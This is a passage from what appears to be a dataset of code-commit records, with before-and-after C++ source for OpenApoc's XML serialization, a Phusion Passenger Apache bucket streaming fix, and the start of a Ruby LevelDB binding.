{ node.text().set(str.cStr()); }\n\nunsigned int XMLSerializationNode::getValueUInt() { return node.text().as_uint(); }\n\nvoid XMLSerializationNode::setValueUInt(unsigned int i) { node.text().set(i); }\n\nunsigned char XMLSerializationNode::getValueUChar()\n{\n\tauto uint = node.text().as_uint();\n\tif (uint > std::numeric_limits<unsigned char>::max())\n\t{\n\t\tthrow SerializationException(format(\"Value %u is out of range of unsigned char type\", uint),\n\t\t                             this);\n\t}\n\treturn static_cast<unsigned char>(uint);\n}\n\nvoid XMLSerializationNode::setValueUChar(unsigned char c) { node.text().set((unsigned int)c); }\n\nint XMLSerializationNode::getValueInt() { return node.text().as_int(); }\n\nvoid XMLSerializationNode::setValueInt(int i) { node.text().set(i); }\n\nunsigned long long XMLSerializationNode::getValueUInt64() { return node.text().as_ullong(); }\n\nvoid XMLSerializationNode::setValueUInt64(unsigned long long i) { node.text().set(i); }\n\nlong long XMLSerializationNode::getValueInt64() { return node.text().as_llong(); }\n\nvoid XMLSerializationNode::setValueInt64(long long i) { node.text().set(i); }\n\nfloat XMLSerializationNode::getValueFloat() { return node.text().as_float(); }\n\nvoid XMLSerializationNode::setValueFloat(float f) { node.text().set(f); }\n\nbool XMLSerializationNode::getValueBool() { return node.text().as_bool(); }\n\nvoid XMLSerializationNode::setValueBool(bool b) { node.text().set(b); }\n\nstd::vector<bool> XMLSerializationNode::getValueBoolVector()\n{\n\tstd::vector<bool> vec;\n\tauto string = this->getValue().str();\n\n\tvec.resize(string.length());\n\tfor (size_t i = 0; i < string.length(); i++)\n\t{\n\t\tauto c = string[i];\n\t\tif (c == '1')\n\t\t\tvec[i] = true;\n\t\telse if (c == '0')\n\t\t\tvec[i] = false;\n\t\telse\n\t\t\tthrow SerializationException(format(\"Unknown char '%c' in bool vector\", c), this);\n\t}\n\treturn vec;\n}\n\nvoid XMLSerializationNode::setValueBoolVector(const std::vector<bool> &vec)\n{\n\tstd::string str(vec.size(), ' ');\n\n\tfor (size_t i = 0; i < vec.size(); i++)\n\t{\n\t\tauto b = vec[i];\n\t\tif (b)\n\t\t\tstr[i] = '1';\n\t\telse\n\t\t\tstr[i] = '0';\n\t}\n\tthis->setValue(str);\n}\n\nUString XMLSerializationNode::getFullPath()\n{\n\tUString str;\n\tif (this->parent)\n\t{\n\t\tstr = this->parent->getFullPath();\n\t}\n\telse\n\t{\n\t\tstr += node.name();\n\t\tstr += \".xml:\";\n\t}\n\tstr += \"\/\";\n\tstr += node.name();\n\treturn str;\n}\n\n} \/\/ namespace OpenApoc\n<commit_msg>Remove unused 'dataProvider' member from XMLSerializationNode<commit_after>#include \"framework\/serialization\/serialize.h\"\n#include \"dependencies\/pugixml\/src\/pugixml.hpp\"\n#include \"framework\/filesystem.h\"\n#include \"framework\/logger.h\"\n#include \"framework\/serialization\/providers\/filedataprovider.h\"\n#include \"framework\/serialization\/providers\/providerwithchecksum.h\"\n#include \"framework\/serialization\/providers\/zipdataprovider.h\"\n#include \"framework\/trace.h\"\n#include \"library\/sp.h\"\n#include \"library\/strings.h\"\n#include \"library\/strings_format.h\"\n#include <deque>\n#include <map>\n#include <sstream>\n\nnamespace OpenApoc\n{\n\nSerializationNode *SerializationNode::getNodeReq(const char *name)\n{\n\tauto node = this->getNodeOpt(name);\n\tif (!node)\n\t{\n\t\tthrow SerializationException(format(\"Missing node \\\"%s\\\"\", name), this);\n\t}\n\treturn node;\n}\n\nSerializationNode *SerializationNode::getSectionReq(const char *name)\n{\n\tauto node = this->getSectionOpt(name);\n\tif (!node)\n\t{\n\t\tthrow SerializationException(format(\"Missing section \\\"%s\\\"\", name), this);\n\t}\n\treturn node;\n}\n\nSerializationNode *SerializationNode::getNextSiblingReq(const char *name)\n{\n\tauto node = this->getNextSiblingOpt(name);\n\tif (!node)\n\t{\n\t\tthrow SerializationException(format(\"Missing sibling of \\\"%s\\\"\", name), this);\n\t}\n\treturn node;\n}\n\nusing namespace pugi;\nclass XMLSerializationArchive;\n\nclass XMLSerializationNode final : public SerializationNode\n{\n  private:\n\tXMLSerializationArchive *archive;\n\txml_node node;\n\tXMLSerializationNode *parent;\n\tUString prefix;\n\n  public:\n\tXMLSerializationNode(XMLSerializationArchive *archive, xml_node node,\n\t                     XMLSerializationNode *parent)\n\t    : archive(archive), node(node), parent(parent)\n\t{\n\t}\n\n\tXMLSerializationNode(XMLSerializationArchive *archive, xml_node node, const UString &prefix)\n\t    : archive(archive), node(node), parent(nullptr), prefix(prefix)\n\t{\n\t}\n\n\tSerializationNode *addNode(const char *name, const UString &value = \"\") override;\n\tSerializationNode *addSection(const char *name) override;\n\n\tSerializationNode *getNodeOpt(const char *name) override;\n\tSerializationNode *getNextSiblingOpt(const char *name) override;\n\tSerializationNode *getSectionOpt(const char *name) override;\n\n\tUString getName() override;\n\tvoid setName(const UString &str) override;\n\tUString getValue() override;\n\tvoid setValue(const UString &str) override;\n\n\tunsigned int getValueUInt() override;\n\tvoid setValueUInt(unsigned int i) override;\n\n\tunsigned char getValueUChar() override;\n\tvoid setValueUChar(unsigned char i) override;\n\n\tint getValueInt() override;\n\tvoid setValueInt(int i) override;\n\n\tunsigned long long getValueUInt64() override;\n\tvoid setValueUInt64(unsigned long long i) override;\n\n\tlong long getValueInt64() override;\n\tvoid setValueInt64(long long i) override;\n\n\tfloat getValueFloat() override;\n\tvoid setValueFloat(float f) override;\n\n\tbool getValueBool() override;\n\tvoid setValueBool(bool b) override;\n\n\tstd::vector<bool> getValueBoolVector() override;\n\tvoid setValueBoolVector(const std::vector<bool> &vec) override;\n\n\tUString getFullPath() override;\n\tconst UString &getPrefix() const override\n\t{\n\t\tif (this->parent)\n\t\t\treturn this->parent->getPrefix();\n\t\telse\n\t\t\treturn this->prefix;\n\t}\n\n\t~XMLSerializationNode() override = default;\n};\n\nclass XMLSerializationArchive final : public SerializationArchive\n{\n  private:\n\tup<SerializationDataProvider> dataProvider;\n\tstd::map<UString, xml_document> docRoots;\n\tstd::deque<XMLSerializationNode> nodes;\n\tfriend class SerializationArchive;\n\tfriend class XMLSerializationNode;\n\n  public:\n\tSerializationNode *newRoot(const UString &prefix, const char *name) override;\n\tSerializationNode *getRoot(const UString &prefix, const char *name) override;\n\tbool write(const UString &path, bool pack, bool pretty) override;\n\tXMLSerializationArchive() : dataProvider(nullptr), docRoots(){};\n\tXMLSerializationArchive(up<SerializationDataProvider> dataProvider)\n\t    : dataProvider(std::move(dataProvider)){};\n\t~XMLSerializationArchive() override = default;\n};\n\nup<SerializationArchive> SerializationArchive::createArchive()\n{\n\treturn mkup<XMLSerializationArchive>();\n}\n\nup<SerializationDataProvider> getProvider(bool pack)\n{\n\tif (!pack)\n\t{\n\t\t\/\/ directory loader\n\t\treturn mkup<ProviderWithChecksum>(mkup<FileDataProvider>());\n\t}\n\telse\n\t{\n\t\t\/\/ zip loader\n\t\treturn mkup<ProviderWithChecksum>(mkup<ZipDataProvider>());\n\t}\n}\n\nup<SerializationArchive> SerializationArchive::readArchive(const UString &path)\n{\n\tup<SerializationDataProvider> dataProvider = getProvider(!fs::is_directory(path.str()));\n\tif (!dataProvider->openArchive(path, false))\n\t{\n\t\tLogWarning(\"Failed to open archive at \\\"%s\\\"\", path);\n\t\treturn nullptr;\n\t}\n\tLogInfo(\"Opened archive \\\"%s\\\"\", path);\n\n\treturn mkup<XMLSerializationArchive>(std::move(dataProvider));\n}\n\nSerializationNode *XMLSerializationArchive::newRoot(const UString &prefix, const char *name)\n{\n\tauto path = prefix + name + \".xml\";\n\tauto root = this->docRoots[path].root().append_child();\n\tauto decl = this->docRoots[path].prepend_child(pugi::node_declaration);\n\tdecl.append_attribute(\"version\") = \"1.0\";\n\tdecl.append_attribute(\"encoding\") = \"UTF-8\";\n\troot.set_name(name);\n\treturn &this->nodes.emplace_back(this, root, prefix + name + \"\/\");\n}\n\nSerializationNode *XMLSerializationArchive::getRoot(const UString &prefix, const char *name)\n{\n\tauto path = prefix + name + \".xml\";\n\tif (dataProvider == nullptr)\n\t{\n\t\tLogWarning(\"Reading from not opened archive: %s!\", path);\n\t\treturn nullptr;\n\t}\n\n\tauto it = this->docRoots.find(path);\n\tif (it == this->docRoots.end())\n\t{\n\t\tTraceObj trace(\"Reading archive\", {{\"path\", path}});\n\t\tUString content;\n\t\tif (dataProvider->readDocument(path, content))\n\t\t{\n\t\t\t\/\/ FIXME: Make this actually read from the root and load the xinclude tags properly?\n\t\t\tauto &doc = this->docRoots[path];\n\t\t\tTraceObj traceParse(\"Parsing archive\", {{\"path\", path}});\n\t\t\tauto parse_result = doc.load_string(content.cStr());\n\t\t\tif (!parse_result)\n\t\t\t{\n\t\t\t\tLogInfo(\"Failed to parse \\\"%s\\\" : \\\"%s\\\" at \\\"%llu\\\"\", path,\n\t\t\t\t        parse_result.description(), (unsigned long long)parse_result.offset);\n\t\t\t\treturn nullptr;\n\t\t\t}\n\t\t\tit = this->docRoots.find(path);\n\t\t\tLogInfo(\"Parsed \\\"%s\\\"\", path);\n\t\t}\n\t}\n\tif (it == this->docRoots.end())\n\t{\n\t\treturn nullptr;\n\t}\n\n\tauto root = it->second.child(name);\n\tif (!root)\n\t{\n\t\tLogWarning(\"Failed to find root with name \\\"%s\\\" in \\\"%s\\\"\", name, path);\n\t\treturn nullptr;\n\t}\n\treturn &this->nodes.emplace_back(this, root, prefix + name + \"\/\");\n}\n\nbool XMLSerializationArchive::write(const UString &path, bool pack, bool pretty)\n{\n\tTraceObj trace(\"Writing archive\", {{\"path\", path}});\n\t\/\/ warning! data provider must be freed when this method ends,\n\t\/\/ so code calling this method may override archive\n\tauto dataProvider = getProvider(pack);\n\tif (!dataProvider->openArchive(path, true))\n\t{\n\t\tLogWarning(\"Failed to open archive at \\\"%s\\\"\", path);\n\t\treturn false;\n\t}\n\n\tfor (auto &root : this->docRoots)\n\t{\n\t\tTraceObj traceSave(\"Saving root\", {{\"root\", root.first}});\n\t\tstd::stringstream ss;\n\t\tunsigned int flags = pugi::format_default;\n\t\tif (pretty == false)\n\t\t{\n\t\t\tflags = pugi::format_raw;\n\t\t}\n\t\troot.second.save(ss, \"\", flags);\n\t\tTraceObj traceSaveData(\"Saving root data\", {{\"root\", root.first}});\n\t\tif (!dataProvider->saveDocument(root.first, ss.str()))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}\n\n\treturn dataProvider->finalizeSave();\n}\n\nSerializationNode *XMLSerializationNode::addNode(const char *name, const UString &value)\n{\n\tauto newNode = this->node.append_child();\n\tnewNode.set_name(name);\n\tnewNode.text().set(value.cStr());\n\treturn &this->archive->nodes.emplace_back(this->archive, newNode, this);\n}\n\nSerializationNode *XMLSerializationNode::getNodeOpt(const char *name)\n{\n\tauto newNode = this->node.child(name);\n\tif (!newNode)\n\t{\n\t\treturn nullptr;\n\t}\n\treturn &this->archive->nodes.emplace_back(this->archive, newNode, this);\n}\n\nSerializationNode *XMLSerializationNode::getNextSiblingOpt(const char *name)\n{\n\tauto newNode = this->node.next_sibling(name);\n\tif (!newNode)\n\t{\n\t\treturn nullptr;\n\t}\n\treturn &this->archive->nodes.emplace_back(this->archive, newNode, this);\n}\n\nSerializationNode *XMLSerializationNode::addSection(const char *name)\n{\n\tauto includeNode = static_cast<XMLSerializationNode *>(this->addNode(\"xi:include\"));\n\tauto path = UString(name) + \".xml\";\n\tauto nsAttribute = includeNode->node.append_attribute(\"xmlns:xi\");\n\tnsAttribute.set_value(\"http:\/\/www.w3.org\/2001\/XInclude\");\n\tauto attribute = includeNode->node.append_attribute(\"href\");\n\tattribute.set_value(path.cStr());\n\treturn this->archive->newRoot(this->getPrefix(), name);\n}\n\nSerializationNode *XMLSerializationNode::getSectionOpt(const char *name)\n{\n\treturn archive->getRoot(this->getPrefix(), name);\n}\n\nUString XMLSerializationNode::getName() { return node.name(); }\n\nvoid XMLSerializationNode::setName(const UString &str) { node.set_name(str.cStr()); }\n\nUString XMLSerializationNode::getValue() { return node.text().get(); }\n\nvoid XMLSerializationNode::setValue(const UString &str) { node.text().set(str.cStr()); }\n\nunsigned int XMLSerializationNode::getValueUInt() { return node.text().as_uint(); }\n\nvoid XMLSerializationNode::setValueUInt(unsigned int i) { node.text().set(i); }\n\nunsigned char XMLSerializationNode::getValueUChar()\n{\n\tauto uint = node.text().as_uint();\n\tif (uint > std::numeric_limits<unsigned char>::max())\n\t{\n\t\tthrow SerializationException(format(\"Value %u is out of range of unsigned char type\", uint),\n\t\t                             this);\n\t}\n\treturn static_cast<unsigned char>(uint);\n}\n\nvoid XMLSerializationNode::setValueUChar(unsigned char c) { node.text().set((unsigned int)c); }\n\nint XMLSerializationNode::getValueInt() { return node.text().as_int(); }\n\nvoid XMLSerializationNode::setValueInt(int i) { node.text().set(i); }\n\nunsigned long long XMLSerializationNode::getValueUInt64() { return node.text().as_ullong(); }\n\nvoid XMLSerializationNode::setValueUInt64(unsigned long long i) { node.text().set(i); }\n\nlong long XMLSerializationNode::getValueInt64() { return node.text().as_llong(); }\n\nvoid XMLSerializationNode::setValueInt64(long long i) { node.text().set(i); }\n\nfloat XMLSerializationNode::getValueFloat() { return node.text().as_float(); }\n\nvoid XMLSerializationNode::setValueFloat(float f) { node.text().set(f); }\n\nbool XMLSerializationNode::getValueBool() { return node.text().as_bool(); }\n\nvoid XMLSerializationNode::setValueBool(bool b) { node.text().set(b); }\n\nstd::vector<bool> XMLSerializationNode::getValueBoolVector()\n{\n\tstd::vector<bool> vec;\n\tauto string = this->getValue().str();\n\n\tvec.resize(string.length());\n\tfor (size_t i = 0; i < string.length(); i++)\n\t{\n\t\tauto c = string[i];\n\t\tif (c == '1')\n\t\t\tvec[i] = true;\n\t\telse if (c == '0')\n\t\t\tvec[i] = false;\n\t\telse\n\t\t\tthrow SerializationException(format(\"Unknown char '%c' in bool vector\", c), this);\n\t}\n\treturn vec;\n}\n\nvoid XMLSerializationNode::setValueBoolVector(const std::vector<bool> &vec)\n{\n\tstd::string str(vec.size(), ' ');\n\n\tfor (size_t i = 0; i < vec.size(); i++)\n\t{\n\t\tauto b = vec[i];\n\t\tif (b)\n\t\t\tstr[i] = '1';\n\t\telse\n\t\t\tstr[i] = '0';\n\t}\n\tthis->setValue(str);\n}\n\nUString XMLSerializationNode::getFullPath()\n{\n\tUString str;\n\tif (this->parent)\n\t{\n\t\tstr = this->parent->getFullPath();\n\t}\n\telse\n\t{\n\t\tstr += node.name();\n\t\tstr += \".xml:\";\n\t}\n\tstr += \"\/\";\n\tstr += node.name();\n\treturn str;\n}\n\n} \/\/ namespace OpenApoc\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  Phusion Passenger - http:\/\/www.modrails.com\/\n *  Copyright (C) 2008  Phusion\n *\n *  Phusion Passenger is a trademark of Hongli Lai & Ninh Bui.\n *\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; version 2 of the License.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License along\n *  with this program; if not, write to the Free Software Foundation, Inc.,\n *  51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n *\/\n#include \"Bucket.h\"\n\nusing namespace Passenger;\n\nstatic void bucket_destroy(void *data);\nstatic apr_status_t bucket_read(apr_bucket *a, const char **str, apr_size_t *len, apr_read_type_e block);\n\nstatic const apr_bucket_type_t apr_bucket_type_passenger_pipe = {\n\t\"PASSENGER_PIPE\",\n\t5,\n\tapr_bucket_type_t::APR_BUCKET_DATA, \n\tbucket_destroy,\n\tbucket_read,\n\tapr_bucket_setaside_notimpl,\n\tapr_bucket_split_notimpl,\n\tapr_bucket_copy_notimpl\n};\n\nstruct BucketData {\n\tApplication::SessionPtr session;\n\tapr_file_t *pipe;\n};\n\nstatic void\nbucket_destroy(void *data) {\n\tBucketData *bucket_data = (BucketData *) data;\n\tif (data != NULL) {\n\t\tdelete bucket_data;\n\t}\n}\n\nstatic apr_status_t\nbucket_read(apr_bucket *bucket, const char **str, apr_size_t *len, apr_read_type_e block) {\n\tapr_file_t *pipe;\n\tchar *buf;\n\tapr_status_t ret;\n\n\tBucketData *data = (BucketData *) bucket->data;\n\tpipe = data->pipe;\n\n\t*str = NULL;\n\t*len = APR_BUCKET_BUFF_SIZE;\n\tbuf = (char *) apr_bucket_alloc(*len, bucket->list); \/\/ TODO: check for failure?\n\n\tdo {\n\t\tret = apr_file_read(pipe, buf, len);\n\t} while (APR_STATUS_IS_EAGAIN(ret));\n\n\tif (ret != APR_SUCCESS && ret != APR_EOF) {\n\t\t\/\/ ... we might want to set an error flag here ...\n\t\tdelete data;\n\t\tbucket->data = NULL;\n\t\tapr_bucket_free(buf);\n\t\treturn ret;\n\t}\n\t\/*\n\t * If there's more to read we have to keep the rest of the pipe\n\t * for later.\n\t *\/\n\tif (*len > 0) {\n\t\tapr_bucket_heap *h;\n\t\t\n\t\t*str = buf;\n\t\tbucket->data = NULL;\n\t\t\n\t\t\/* Change the current bucket to refer to what we read *\/\n\t\tbucket = apr_bucket_heap_make(bucket, buf, *len, apr_bucket_free);\n\t\th = (apr_bucket_heap *) bucket->data;\n\t\th->alloc_len = APR_BUCKET_BUFF_SIZE; \/* note the real buffer size *\/\n\t\tAPR_BUCKET_INSERT_AFTER(bucket, passenger_bucket_create(\n\t\t\tdata->session, pipe, bucket->list));\n\t\t\n\t\tdelete data;\n\t} else {\n\t\tdelete data;\n\t\tbucket->data = NULL;\n\t\t\n\t\tapr_bucket_free(buf);\n\t\tbucket = apr_bucket_immortal_make(bucket, \"\", 0);\n\t\t*str = (const char *) bucket->data;\n\t\t\/\/ if (rv != APR_EOF) {\n\t\t\/\/     ... we might want to set an error flag here ...\n\t\t\/\/ }\n\t}\n\treturn APR_SUCCESS;\n}\n\nstatic apr_bucket *\npassenger_bucket_make(apr_bucket *bucket, Application::SessionPtr session, apr_file_t *pipe) {\n\tBucketData *data = new BucketData();\n\tdata->session  = session;\n\tdata->pipe     = pipe;\n\t\n\tbucket->type   = &apr_bucket_type_passenger_pipe;\n\tbucket->length = (apr_size_t)(-1);\n\tbucket->start  = -1;\n\tbucket->data   = data;\n\treturn bucket;\n}\n\napr_bucket *\npassenger_bucket_create(Application::SessionPtr session, apr_file_t *pipe, apr_bucket_alloc_t *list) {\n\tapr_bucket *bucket;\n\t\n\tbucket = (apr_bucket *) apr_bucket_alloc(sizeof(*bucket), list);\n\tAPR_BUCKET_INIT(bucket);\n\tbucket->free = apr_bucket_free;\n\tbucket->list = list;\n\treturn passenger_bucket_make(bucket, session, pipe);\n}\n\n<commit_msg>Prevent Apache from buffering all data sent by the backend process before sending the data to the HTTP client. This allows backend processes to stream data.<commit_after>\/*\n *  Phusion Passenger - http:\/\/www.modrails.com\/\n *  Copyright (C) 2008  Phusion\n *\n *  Phusion Passenger is a trademark of Hongli Lai & Ninh Bui.\n *\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; version 2 of the License.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License along\n *  with this program; if not, write to the Free Software Foundation, Inc.,\n *  51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n *\/\n#include \"Bucket.h\"\n\nusing namespace Passenger;\n\nstatic void bucket_destroy(void *data);\nstatic apr_status_t bucket_read(apr_bucket *a, const char **str, apr_size_t *len, apr_read_type_e block);\n\nstatic const apr_bucket_type_t apr_bucket_type_passenger_pipe = {\n\t\"PASSENGER_PIPE\",\n\t5,\n\tapr_bucket_type_t::APR_BUCKET_DATA, \n\tbucket_destroy,\n\tbucket_read,\n\tapr_bucket_setaside_notimpl,\n\tapr_bucket_split_notimpl,\n\tapr_bucket_copy_notimpl\n};\n\nstruct BucketData {\n\tApplication::SessionPtr session;\n\tapr_file_t *pipe;\n};\n\nstatic void\nbucket_destroy(void *data) {\n\tBucketData *bucket_data = (BucketData *) data;\n\tif (data != NULL) {\n\t\tdelete bucket_data;\n\t}\n}\n\nstatic apr_status_t\nbucket_read(apr_bucket *bucket, const char **str, apr_size_t *len, apr_read_type_e block) {\n\tapr_file_t *pipe;\n\tchar *buf;\n\tapr_status_t ret;\n\n\tBucketData *data = (BucketData *) bucket->data;\n\tpipe = data->pipe;\n\n\t*str = NULL;\n\t*len = APR_BUCKET_BUFF_SIZE;\n\t\n\tif (block == APR_NONBLOCK_READ) {\n\t\t\/*\n\t\t * The bucket brigade that Hooks::handleRequest() passes using\n\t\t * ap_pass_brigade() is always passed through ap_content_length_filter,\n\t\t * which is a filter which attempts to read all data from the\n\t\t * bucket brigade and computes the Content-Length header from\n\t\t * that. We don't want this to happen; because suppose that the\n\t\t * Rails application sends back 1 GB of data, then\n\t\t * ap_content_length_filter will buffer this entire 1 GB of data\n\t\t * in memory before passing it to the HTTP client.\n\t\t *\n\t\t * ap_content_length_filter aborts and passes the bucket brigade\n\t\t * down the filter chain when it encounters an APR_EAGAIN, except\n\t\t * for the first read. So by returning APR_EAGAIN on every\n\t\t * non-blocking read request, we can prevent ap_content_length_filter\n\t\t * from buffering all data.\n\t\t *\/\n\t\treturn APR_EAGAIN;\n\t}\n\t\n\tbuf = (char *) apr_bucket_alloc(*len, bucket->list); \/\/ TODO: check for failure?\n\n\tdo {\n\t\tret = apr_file_read(pipe, buf, len);\n\t} while (APR_STATUS_IS_EAGAIN(ret));\n\n\tif (ret != APR_SUCCESS && ret != APR_EOF) {\n\t\t\/\/ ... we might want to set an error flag here ...\n\t\tdelete data;\n\t\tbucket->data = NULL;\n\t\tapr_bucket_free(buf);\n\t\treturn ret;\n\t}\n\t\/*\n\t * If there's more to read we have to keep the rest of the pipe\n\t * for later.\n\t *\/\n\tif (*len > 0) {\n\t\tapr_bucket_heap *h;\n\t\t\n\t\t*str = buf;\n\t\tbucket->data = NULL;\n\t\t\n\t\t\/* Change the current bucket to refer to what we read *\/\n\t\tbucket = apr_bucket_heap_make(bucket, buf, *len, apr_bucket_free);\n\t\th = (apr_bucket_heap *) bucket->data;\n\t\th->alloc_len = APR_BUCKET_BUFF_SIZE; \/* note the real buffer size *\/\n\t\tAPR_BUCKET_INSERT_AFTER(bucket, passenger_bucket_create(\n\t\t\tdata->session, pipe, bucket->list));\n\t\tdelete data;\n\t} else {\n\t\tdelete data;\n\t\tbucket->data = NULL;\n\t\t\n\t\tapr_bucket_free(buf);\n\t\tbucket = apr_bucket_immortal_make(bucket, \"\", 0);\n\t\t*str = (const char *) bucket->data;\n\t\t\/\/ if (rv != APR_EOF) {\n\t\t\/\/     ... we might want to set an error flag here ...\n\t\t\/\/ }\n\t}\n\treturn APR_SUCCESS;\n}\n\nstatic apr_bucket *\npassenger_bucket_make(apr_bucket *bucket, Application::SessionPtr session, apr_file_t *pipe) {\n\tBucketData *data = new BucketData();\n\tdata->session  = session;\n\tdata->pipe     = pipe;\n\t\n\tbucket->type   = &apr_bucket_type_passenger_pipe;\n\tbucket->length = (apr_size_t)(-1);\n\tbucket->start  = -1;\n\tbucket->data   = data;\n\treturn bucket;\n}\n\napr_bucket *\npassenger_bucket_create(Application::SessionPtr session, apr_file_t *pipe, apr_bucket_alloc_t *list) {\n\tapr_bucket *bucket;\n\t\n\tbucket = (apr_bucket *) apr_bucket_alloc(sizeof(*bucket), list);\n\tAPR_BUCKET_INIT(bucket);\n\tbucket->free = apr_bucket_free;\n\tbucket->list = list;\n\treturn passenger_bucket_make(bucket, session, pipe);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include <ruby.h>\n\n#include \"leveldb\/db.h\"\n#include \"leveldb\/slice.h\"\n\nstatic VALUE m_leveldb;\nstatic VALUE c_db;\nstatic VALUE c_error;\n\n\/\/ support 1.9 and 1.8\n#ifndef RSTRING_PTR\n#define RSTRING_PTR(v) RSTRING(v)->ptr\n#endif\n\n\/\/ convert status errors into exceptions\n#define RAISE_ON_ERROR(status) do { \\\n  if(!status.ok()) { \\\n    VALUE exc = rb_exc_new2(c_error, status.ToString().c_str()); \\\n    rb_exc_raise(exc); \\\n  }  \\\n} while(0)\n\ntypedef struct bound_db {\n  leveldb::DB* db;\n} bound_db;\n\nstatic void db_free(bound_db* db) {\n  if(db->db != NULL) {\n    delete db->db;\n    db->db = NULL;\n  }\n  delete db;\n}\n\nstatic VALUE db_make(VALUE klass, VALUE v_pathname, VALUE v_create_if_necessary, VALUE v_break_if_exists) {\n  Check_Type(v_pathname, T_STRING);\n\n  bound_db* db = new bound_db;\n  std::string pathname = std::string((char*)RSTRING_PTR(v_pathname));\n\n  leveldb::Options options;\n  if(RTEST(v_create_if_necessary)) options.create_if_missing = true;\n  if(RTEST(v_break_if_exists)) options.error_if_exists = true;\n  leveldb::Status status = leveldb::DB::Open(options, pathname, &db->db);\n  RAISE_ON_ERROR(status);\n\n  VALUE o_db = Data_Wrap_Struct(klass, NULL, db_free, db);\n  VALUE argv[1] = { v_pathname };\n  rb_obj_call_init(o_db, 1, argv);\n\n  return o_db;\n}\n\nstatic VALUE db_close(VALUE self) {\n  bound_db* db;\n  Data_Get_Struct(self, bound_db, db);\n\n  if(db->db != NULL) {\n    delete db->db;\n    db->db = NULL;\n  }\n  return Qtrue;\n}\n\nstatic leveldb::ReadOptions db_readOptions(VALUE options) {\n  leveldb::ReadOptions readOptions;\n\n  if(!NIL_P(options)) {\n    Check_Type(options, T_HASH);\n    VALUE k_fill = ID2SYM(rb_intern(\"fill_cache\"));\n    if(rb_hash_aref(options, k_fill) == Qfalse)\n      readOptions.fill_cache = false;\n    VALUE k_verify = ID2SYM(rb_intern(\"verify_checksums\"));\n    if(rb_hash_aref(options, k_verify) == Qtrue)\n      readOptions.verify_checksums = true;\n  }\n\n  return readOptions;\n}\n\nstatic leveldb::WriteOptions db_writeOptions(VALUE options) {\n  leveldb::WriteOptions writeOptions;\n\n  if(!NIL_P(options)) {\n    Check_Type(options, T_HASH);\n    VALUE k_sync = ID2SYM(rb_intern(\"sync\"));\n    if(rb_hash_aref(options, k_sync) == Qtrue)\n      writeOptions.sync = true;\n  }\n\n  return writeOptions;\n}\n\n#define RUBY_STRING_TO_SLICE(x) leveldb::Slice(RSTRING_PTR(x), RSTRING_LEN(x))\n#define SLICE_TO_RUBY_STRING(x) rb_str_new(x.data(), x.size())\n#define STRING_TO_RUBY_STRING(x) rb_str_new(x.data(), x.size())\nstatic VALUE db_get(int argc, VALUE* argv, VALUE self) {\n  VALUE v_key, v_options;\n  rb_scan_args(argc, argv, \"11\", &v_key, &v_options);\n  Check_Type(v_key, T_STRING);\n  leveldb::ReadOptions readOptions = db_readOptions(v_options);\n\n  bound_db* db;\n  Data_Get_Struct(self, bound_db, db);\n\n  leveldb::Slice key = RUBY_STRING_TO_SLICE(v_key);\n  std::string value;\n  leveldb::Status status = db->db->Get(readOptions, key, &value);\n  if(status.IsNotFound()) return Qnil;\n\n  RAISE_ON_ERROR(status);\n  return STRING_TO_RUBY_STRING(value);\n}\n\nstatic VALUE db_delete(int argc, VALUE* argv, VALUE self) {\n  VALUE v_key, v_options;\n  rb_scan_args(argc, argv, \"11\", &v_key, &v_options);\n  Check_Type(v_key, T_STRING);\n  leveldb::WriteOptions writeOptions = db_writeOptions(v_options);\n  leveldb::ReadOptions readOptions;\n  readOptions.fill_cache = false;\n\n  bound_db* db;\n  Data_Get_Struct(self, bound_db, db);\n\n  leveldb::Slice key = RUBY_STRING_TO_SLICE(v_key);\n  std::string value;\n  leveldb::Status status = db->db->Get(readOptions, key, &value);\n\n  if(status.IsNotFound()) return Qnil;\n\n  status = db->db->Delete(writeOptions, key);\n  RAISE_ON_ERROR(status);\n\n  return STRING_TO_RUBY_STRING(value);\n}\n\nstatic VALUE db_exists(VALUE self, VALUE v_key) {\n  Check_Type(v_key, T_STRING);\n\n  bound_db* db;\n  Data_Get_Struct(self, bound_db, db);\n\n  leveldb::Slice key = RUBY_STRING_TO_SLICE(v_key);\n  std::string value;\n  leveldb::Status status = db->db->Get(leveldb::ReadOptions(), key, &value);\n\n  if(status.IsNotFound()) return Qfalse;\n  return Qtrue;\n}\n\nstatic VALUE db_put(int argc, VALUE* argv, VALUE self) {\n  VALUE v_key, v_value, v_options;\n\n  rb_scan_args(argc, argv, \"21\", &v_key, &v_value, &v_options);\n  Check_Type(v_key, T_STRING);\n  Check_Type(v_value, T_STRING);\n  leveldb::WriteOptions writeOptions = db_writeOptions(v_options);\n\n  bound_db* db;\n  Data_Get_Struct(self, bound_db, db);\n\n  leveldb::Slice key = RUBY_STRING_TO_SLICE(v_key);\n  leveldb::Slice value = RUBY_STRING_TO_SLICE(v_value);\n  leveldb::Status status = db->db->Put(writeOptions, key, value);\n\n  RAISE_ON_ERROR(status);\n\n  return v_value;\n}\n\nstatic VALUE db_size(VALUE self) {\n  long count = 0;\n\n  bound_db* db;\n  Data_Get_Struct(self, bound_db, db);\n  leveldb::ReadOptions readOptions;\n  readOptions.fill_cache = false;\n  leveldb::Iterator* it = db->db->NewIterator(readOptions);\n\n  \/\/ apparently this is how we have to do it. slow and painful!\n  for (it->SeekToFirst(); it->Valid(); it->Next()) count++;\n  RAISE_ON_ERROR(it->status());\n  delete it;\n  return INT2NUM(count);\n}\n\nstatic VALUE db_iterate(VALUE self, VALUE key_from, VALUE key_to, bool reversed) {\n  bound_db* db;\n  Data_Get_Struct(self, bound_db, db);\n  leveldb::ReadOptions readOptions;\n  readOptions.fill_cache = false;\n  